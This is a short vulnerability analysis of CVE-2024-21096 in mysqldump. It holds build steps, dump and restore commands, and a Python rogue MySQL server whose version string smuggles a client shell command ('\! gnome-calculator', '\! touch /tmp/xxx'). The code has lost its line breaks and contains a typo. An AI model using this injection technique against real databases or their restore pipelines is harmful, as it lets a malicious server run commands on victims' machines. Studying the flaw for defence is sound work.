CVE-2024-21096：MySQLDump提权漏洞分析

mysqldump -u username -p database_name > dumpfile.sql

mysql -u username -p database_name < /path/to/dumpfile.sql

8.0.0-injection_testn\! touch /tmp/xxx

sudo apt-get updatesudo apt-get install build-essential cmake libncurses5-dev bison libssl-dev pkg-configwget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.34.tar.gztar xzvf mysql-8.0.34.tar.gzcd mysql-8.0.34mkdir buildcd buildcmake .. -DDOWNLOAD_BOOST=1 -DWITH_BOOST=..makesudo make install

sudo /usr/local/mysql/bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data

mysqldump -h 192.168.2.217 -urepoog -p mysql

mysqldump -h 192.168.2.217 -urepoog -p pwndb | msyql -h 192.168.2.217 -urepoog -p pwndb_imp

import loggingimport asynciofrom sqlglot.executor import executefrom mysql_mimic import MysqlServer, Sessionfrom mysql_mimic.variables import GlobalVariablesSCHEMA = {    "test": {        "x": {            "a": "INT",        }    }}TABLES = {    "test": {        "x": [            {"a": 1},            {"a": 2},            {"a": 3},        ]    }}class MyVariables(GlobalVariables):    def __init__(self):        super().__init__()        self.set("version", "8.0.0-injection-testn\! gnome-calculator", True)class MySession(Session):    def __init__(self):        super().__init__()        self.variables = MyVariables()        self._functions["VERSION"] = "8.1.1"    async def query(self, expression, sql, attrs):        result = execute(expression, schema=SCHEMA, tables=TABLES)        return result.rows, result.columns    async def schema(self):        return SCHEMA async def main():    logging.basicConfig(level=logging.DEBUG)    server = MysqlServer(session_factory=MySession)    await server.serve_forever() if __name__ == "__main__":    asyncio.run(main())